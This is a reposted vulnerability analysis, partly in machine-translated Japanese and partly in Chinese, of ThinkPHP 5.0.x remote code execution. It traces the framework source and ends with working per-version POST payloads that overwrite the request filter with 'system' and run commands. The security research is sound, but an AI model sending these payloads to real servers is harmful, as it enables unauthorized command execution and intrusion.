ホームページ >PHPフレームワーク >ThinkPHP >thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について

thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について

藏色散人
藏色散人転載
2021-04-21 11:06:552992ブラウズ

thinkphp の次のチュートリアル コラムでは、thinkphp5.0.X の完全版における変数カバレッジによって引き起こされる RCE 分析を紹介します。困っている友達!

はじめに

私はいつも thinkphp5.0.X のサイトを見つけて、オンラインで脆弱性を検索しています。変数カバレッジによってリモート コードを実行するために使用できるペイロードにはいくつかの種類があり、小さなバージョンごとに次のような違いがあります。

_method=__construct&filter=system&a=whoami
_method=__construct&filter=system&a=whoami&method=GET
_method=__construct&filter=system&get[]=whoami
...

ペイロードは正しいのですが、混乱してしまい、理由がわかりません。

これらのタイプの違いは何ですか?
各パラメータの機能は何ですか? ### なぜこうなった?

分析

thinkphpには2つのバージョンがあり、1つは

コアバージョン

、もう1つはフルバージョンです。簡単に言うと、コア バージョンには検証コード ライブラリなどのサードパーティ ライブラリは含まれていません (強調は後で使用します)。

5.0.0

以降、5.0.0 に適用されるコード実行ペイロードは次のようになります

POST /thinkphp5.0.0 HTTP/1.1

_method=__construct&filter=system&a=whoami&method=GET

なぜthinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について_method=__construct
理由 filter=system
理由 a=whoami
理由 method=GET
thinkphp のエントリ ファイルは、次のように

public/index.php

です。 <pre class="brush:php;toolbar:false;">// 定义应用目录 define(&amp;#39;APP_PATH&amp;#39;, __DIR__ . &amp;#39;/../application/&amp;#39;); // 加载框架引导文件 require __DIR__ . &amp;#39;/../thinkphp/start.php&amp;#39;;</pre>フォローアップ

thinkphp/start.php

<pre class="brush:php;toolbar:false;">// 1. 加载基础文件 require __DIR__ . &amp;#39;/base.php&amp;#39;; // 2. 执行应用 App::run()-&gt;send();</pre>

App::run()

がアプリケーションを実行するために呼び出されることを確認してください。 thinkphp/library/think/App.php
にある run() 関数をフォローアップします。 <pre class="brush:php;toolbar:false;"> /** * 执行应用程序 * @access public * @param Request $request Request对象 * @return Response * @throws Exception */ public static function run(Request $request = null) { ... // 获取应用调度信息 $dispatch = self::$dispatch; if (empty($dispatch)) { // 进行URL路由检测 $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request-&gt;dispatch($dispatch); ... }</pre>

run()

関数では、要求された情報に従って self::routeCheck() 関数が呼び出され、URL ルーティング検出を実行します。スケジュール情報を取得し、それを $dispatch に割り当てます。 <pre class="brush:php;toolbar:false;"> /** * URL路由检测(根据PATH_INFO) * @access public * @param \think\Request $request * @param array $config * @return array * @throws \think\Exception */ public static function routeCheck($request, array $config) { ... // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config[&amp;#39;url_domain_deploy&amp;#39;]); ... return $result; }</pre>

Route::check()

関数は次のとおりです。 <pre class="brush:php;toolbar:false;"> /** * 检测URL路由 * @access public * @param Request $request Request请求对象 * @param string $url URL地址 * @param string $depr URL分隔符 * @param bool $checkDomain 是否检测域名规则 * @return false|array */ public static function check($request, $url, $depr = &amp;#39;/&amp;#39;, $checkDomain = false) { ... $method = $request-&gt;method(); // 获取当前请求类型的路由规则 $rules = self::$rules[$method]; ...</pre> は、

$request->method()

関数を呼び出して、現在のリクエスト タイプを取得します。 <pre class="brush:php;toolbar:false;"> /** * 当前的请求类型 * @access public * @param bool $method true 获取原始请求类型 * @return string */ public function method($method = false) { if (true === $method) { // 获取原始请求类型 return IS_CLI ? &amp;#39;GET&amp;#39; : (isset($this-&gt;server[&amp;#39;REQUEST_METHOD&amp;#39;]) ? $this-&gt;server[&amp;#39;REQUEST_METHOD&amp;#39;] : $_SERVER[&amp;#39;REQUEST_METHOD&amp;#39;]); } elseif (!$this-&gt;method) { if (isset($_POST[Config::get(&amp;#39;var_method&amp;#39;)])) { $this-&gt;method = strtoupper($_POST[Config::get(&amp;#39;var_method&amp;#39;)]); $this-&gt;{$this-&gt;method}($_POST); ... return $this-&gt;method; }</pre>上記で呼び出された

method()

関数はパラメーターを渡さないため、ここでは $method = false として、elseif と入力します。 var_method はフォームリクエスト型のカモフラージュ変数で、その値は application/config.php_method として確認できます。 <pre class="brush:php;toolbar:false;">// 表单请求类型伪装变量 &amp;#39;var_method&amp;#39; =&gt; &amp;#39;_method&amp;#39;,</pre> POST が

_method

パラメータを渡す限り、次の if を入力すると <pre class="brush:php;toolbar:false;">$this-&gt;method = strtoupper($_POST[Config::get(&amp;#39;var_method&amp;#39;)]); $this-&gt;{$this-&gt;method}($_POST);</pre> が実行されるため、## を指定して呼び出すことができます。 #_method

このクラスの任意の関数。

したがって、_method=__construct は、
thinkphp/library/think/Request.php にある __construct 関数を呼び出すことになります。 Request クラスの $method の値も __construct で上書きされることに注意してください。これは非常に重要なので、最初に記録してください。

method => __construct
では、攻撃チェーンを完了するために、なぜ別の関数ではなく __construct

関数を呼び出す必要があるのでしょうか?

フォローアップ機能は以下の通りです。 <pre class="brush:php;toolbar:false;"> /** * 架构函数 * @access public * @param array $options 参数 */ public function __construct($options = []) { foreach ($options as $name =&gt; $item) { if (property_exists($this, $name)) { $this-&gt;$name = $item; } } if (is_null($this-&gt;filter)) { $this-&gt;filter = Config::get(&amp;#39;default_filter&amp;#39;); } }</pre>上記の
__construct

関数を呼び出すと、

$_POST 配列が渡されました。これは、## の走査に foreach が使用されることを意味します。 #POSTデータを送信し、property_exists() を使用して現在のクラスにこのプロパティがあるかどうかを検出し、存在する場合は値を割り当て、$name $item は両方とも $_POST から完全に制御可能ですが、変数の適用範囲の問題があります。 filter=system&method=GET は、現在のクラスの $filtersystem に上書きし、$methodGET に上書きするために使用されます。 、現在の変数の状況: <pre class="brush:php;toolbar:false;">method =&gt; __construct => GET filter => system</pre>なぜ method

GET

に再度上書きする必要があるのでしょうか? check() 関数には 2 行のコードがあるためです。 <pre class="brush:php;toolbar:false;">$method = $request-&gt;method(); // 获取当前请求类型的路由规则 $rules = self::$rules[$method];</pre>変数の上書きは method() 関数ですでに行われており、

$method

の値は __construct です。 $rules の定義は次のとおりです。 <pre class="brush:php;toolbar:false;"> private static $rules = [ &amp;#39;GET&amp;#39; =&gt; [], &amp;#39;POST&amp;#39; =&gt; [], &amp;#39;PUT&amp;#39; =&gt; [], &amp;#39;DELETE&amp;#39; =&gt; [], &amp;#39;PATCH&amp;#39; =&gt; [], &amp;#39;HEAD&amp;#39; =&gt; [], &amp;#39;OPTIONS&amp;#39; =&gt; [], &amp;#39;*&amp;#39; =&gt; [], &amp;#39;alias&amp;#39; =&gt; [], &amp;#39;domain&amp;#39; =&gt; [], &amp;#39;pattern&amp;#39; =&gt; [], &amp;#39;name&amp;#39; =&gt; [], ];</pre> $method が再度オーバーライドされない場合、

GET、POST、PUT

などになります。 self::$rules [$method]self::$rules['__construct'] であり、プログラムはエラーを報告します。 アプリケーションのスケジュール情報を取得した後、debug をオンにすると、ルーティング情報とリクエスト情報が記録されます。これも非常に重要なので、最初に記録してください。

if (self::$debug) {
                Log::record(&#39;[ ROUTE ] &#39; . var_export($dispatch, true), &#39;info&#39;);
                Log::record(&#39;[ HEADER ] &#39; . var_export($request->header(), true), &#39;info&#39;);
                Log::record(&#39;[ PARAM ] &#39; . var_export($request->param(), true), &#39;info&#39;);
            }

次に、$dispatch タイプに基づいて

switch case

処理を開始します。 <pre class="brush:php;toolbar:false;"> switch ($dispatch[&amp;#39;type&amp;#39;]) { case &amp;#39;redirect&amp;#39;: // 执行重定向跳转 $data = Response::create($dispatch[&amp;#39;url&amp;#39;], &amp;#39;redirect&amp;#39;)-&gt;code($dispatch[&amp;#39;status&amp;#39;]); break; case &amp;#39;module&amp;#39;: // 模块/控制器/操作 $data = self::module($dispatch[&amp;#39;module&amp;#39;], $config, isset($dispatch[&amp;#39;convert&amp;#39;]) ? $dispatch[&amp;#39;convert&amp;#39;] : null); break; case &amp;#39;controller&amp;#39;: // 执行控制器操作 $data = Loader::action($dispatch[&amp;#39;controller&amp;#39;]); break; case &amp;#39;method&amp;#39;: // 执行回调方法 $data = self::invokeMethod($dispatch[&amp;#39;method&amp;#39;]); break; case &amp;#39;function&amp;#39;: // 执行闭包 $data = self::invokeFunction($dispatch[&amp;#39;function&amp;#39;]); break; case &amp;#39;response&amp;#39;: $data = $dispatch[&amp;#39;response&amp;#39;]; break; default: throw new \InvalidArgumentException(&amp;#39;dispatch type not support&amp;#39;); }</pre>public/index.phpへの直接アクセス

デフォルトで呼び出される

モジュール名/コントローラ名/オペレーション名は、/index/index/index#です。 # #、特に application/config.php で定義されています。 <pre class="brush:php;toolbar:false;">// 默认模块名 &amp;#39;default_module&amp;#39; =&gt; &amp;#39;index&amp;#39;, // 禁止访问模块 &amp;#39;deny_module_list&amp;#39; =&gt; [&amp;#39;common&amp;#39;], // 默认控制器名 &amp;#39;default_controller&amp;#39; =&gt; &amp;#39;Index&amp;#39;, // 默认操作名 &amp;#39;default_action&amp;#39; =&gt; &amp;#39;index&amp;#39;,</pre><p>因此对应的<code>$dispatch['type']module,会调用module()函数,经过一系列的处理后返回数据到客户端。

case &#39;module&#39;:
                    // 模块/控制器/操作
                    $data = self::module($dispatch[&#39;module&#39;], $config, isset($dispatch[&#39;convert&#39;]) ? $dispatch[&#39;convert&#39;] : null);
                    break;

跟进module()函数,关键在invokeMethod()

    /**
     * 执行模块
     * @access public
     * @param array $result 模块/控制器/操作
     * @param array $config 配置参数
     * @param bool  $convert 是否自动转换控制器和操作名
     * @return mixed
     */
    public static function module($result, $config, $convert = null)
    {
     ...
            $data = self::invokeMethod($call);
     ...

invokeMethod()如下,跟进bindParams()

   /**
     * 调用反射执行类的方法 支持参数绑定
     * @access public
     * @param string|array $method 方法
     * @param array        $vars   变量
     * @return mixed
     */
    public static function invokeMethod($method, $vars = [])
    {
        ...
        $args = self::bindParams($reflect, $vars);
        ...
    }

bindParams()如下,跟进param()

    /**
     * 绑定参数
     * @access public
     * @param \ReflectionMethod|\ReflectionFunction $reflect 反射类
     * @param array             $vars    变量
     * @return array
     */
    private static function bindParams($reflect, $vars = [])
    {
        if (empty($vars)) {
            // 自动获取请求变量
            if (Config::get(&#39;url_param_type&#39;)) {
                $vars = Request::instance()->route();
            } else {
                $vars = Request::instance()->param();
            }
        }

这是关键点,param()函数是获取当前请求参数的。

    /**
     * 设置获取获取当前请求的参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function param($name = &#39;&#39;, $default = null, $filter = null)
    {
        if (empty($this->param)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case &#39;POST&#39;:
                    $vars = $this->post(false);
                    break;
                case &#39;PUT&#39;:
                case &#39;DELETE&#39;:
                case &#39;PATCH&#39;:
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param = array_merge($this->get(false), $vars, $this->route(false));
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = array_merge($this->param, $file);
            return $this->input($data, &#39;&#39;, $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

这里又会调用method()获取当前请求方法,然后会根据请求的类型来获取参数以及合并参数,参数的来源有get[],route[],$_POST,那么通过可以变量覆盖传参,也可以直接POST传参。
所以以下几种方式都是一样可行的:

a=whoami
aaaaa=whoami
get[]=whoami
route=whoami

最后调用input()函数

    /**
     * 获取变量 支持过滤和默认值
     * @param array         $data 数据源
     * @param string|false  $name 字段名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤函数
     * @return mixed
     */
    public function input($data = [], $name = &#39;&#39;, $default = null, $filter = null)
    {
        ...
        if (is_array($data)) {
            array_walk_recursive($data, [$this, &#39;filterValue&#39;], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
        ...
    }

input()函数中会通过filterValue()函数对传入的所有参数进行过滤,这里全局过滤函数已经在前面被覆盖为system并会在filterValue()函数中使用。

/**
 * 递归过滤给定的值
 * @param mixed     $value 键值
 * @param mixed     $key 键名
 * @param array     $filters 过滤方法+默认值
 * @return mixed
 */
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);
    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
    ...

通过call_user_func()完成任意代码执行,这也就是filter为什么要覆盖成system的原因了,覆盖成别的函数也行,想执行什么覆盖成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函数中有一处改动。
thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
这里多了一处判断,所以不加method=GET也不会报错,可以正常执行。

_method=__construct&filter=system&a=whoami

thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
测试到5.0.13版本,payload打过去没有反应,为什么?
thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
跟踪代码发现thinkphp/library/think/App.php下的module()函数多了一行代码。

    // 设置默认过滤机制
    $request->filter($config[&#39;default_filter&#39;]);

前面通过变量覆盖把$filter覆盖成了system,这里又把$filter给二次覆盖回去了,导致攻击链断了。

前面提到过如果开启了debug模式,很重要,为什么呢?

// 记录路由和请求信息
            if (self::$debug) {
                Log::record(&#39;[ ROUTE ] &#39; . var_export($dispatch, true), &#39;info&#39;);
                Log::record(&#39;[ HEADER ] &#39; . var_export($request->header(), true), &#39;info&#39;);
                Log::record(&#39;[ PARAM ] &#39; . var_export($request->param(), true), &#39;info&#39;);
            }

最后一句会调用param()函数,而攻击链核心就是通过前面的变量覆盖全局过滤函数$filter,进入param()获取参数再进入input()进行全局过滤造成的代码执行。这里在$filter被二次覆盖之前调用了一次param(),也就是说如果开启了debug,在5.0.13开始也可以攻击,也是为什么有时候代码执行会返回两次结果的原因。
thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
filter是在module函数中被覆盖回去的,而执行module函数是根据$dispatch的类型来决定的,那是否能不走module函数,绕过这里的覆盖呢?
完整版的thinkphp中,有提供验证码类库,其中的路由定义在vendor/topthink/think-captcha/src/helper.php中。

\think\Route::get(&#39;captcha/[:id]&#39;, "\\think\\captcha\\CaptchaController@index");

其对应的dispatch类型为method,完美的避开了二次覆盖,路由限定了请求类型为get,所以在5.0.13开始,如果没有开debug,还可以调用第三方类库完成攻击链。

POST /?s=captcha

_method=__construct&filter=system&method=GET&a=whoami

thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
5.0.21版本开始,函数method()有所改动。
thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
通过server()函数获取请求方法,并且其中调用了input()函数。

/**
 * 获取server参数
 * @access public
 * @param string|array  $name 数据名称
 * @param string        $default 默认值
 * @param string|array  $filter 过滤方法
 * @return mixed
 */
public function server($name = &#39;&#39;, $default = null, $filter = &#39;&#39;)
{
    if (empty($this->server)) {
        $this->server = $_SERVER;
    }
    if (is_array($name)) {
        return $this->server = array_merge($this->server, $name);
    }
    return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}

前面分析过了,最后代码执行是进入input()中完成的,所以只要能进入server()函数也可以造成代码执行。

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

param()函数是根据method()返回值来获取参数的,现在method()的逻辑变了,如果不传递server[REQUEST_METHOD],返回的就是GET,阅读代码得知参数的来源有$param[]、$get[]、$route[],还是可以通过变量覆盖来传递参数,但是就不能用之前形如a=whoami任意参数名来传递了。

// 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));

在测试的时候发现只能通过覆盖get[]、route[]完成攻击,覆盖param[]却不行,调试后找到原因,原来是在route()函数里param[]又被二次覆盖了。

    /**
     * 设置获取路由参数
     * @access public
     * @param string|array  $name 变量名
     * @param mixed         $default 默认值
     * @param string|array  $filter 过滤方法
     * @return mixed
     */
    public function route($name = &#39;&#39;, $default = null, $filter = &#39;&#39;)
    {
        if (is_array($name)) {
            $this->param        = [];
            return $this->route = array_merge($this->route, $name);
        }
        return $this->input($this->route, $name, $default, $filter);
    }
POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&get[]=whoami

thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について
或者

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=GET&route[]=whoami

thinkphp5.0.X の製品版における変数カバレッジによる RCE 分析について

总结

各版本通用的变量覆盖payload如下
5.0.0~5.0.12 无条件触发

POST / HTTP/1.1

_method=__construct&filter=system&method=GET&a=whoami

a可以替换成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方类库 如完整版中的captcha

POST /?s=captcha HTTP/1.1

_method=__construct&filter=system&method=get&get[]=whoami

get[]可以换成route[]

5.0.13~5.0.23 需要开启debug

POST / HTTP/1.1

_method=__construct&filter=system&get[]=whoami

get[]可以替换成route[]

相关推荐:最新的10个thinkphp视频教程

以上がthinkphp5.0.X の製品版における変数カバレッジによる RCE 分析についての詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はcsdn.netで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。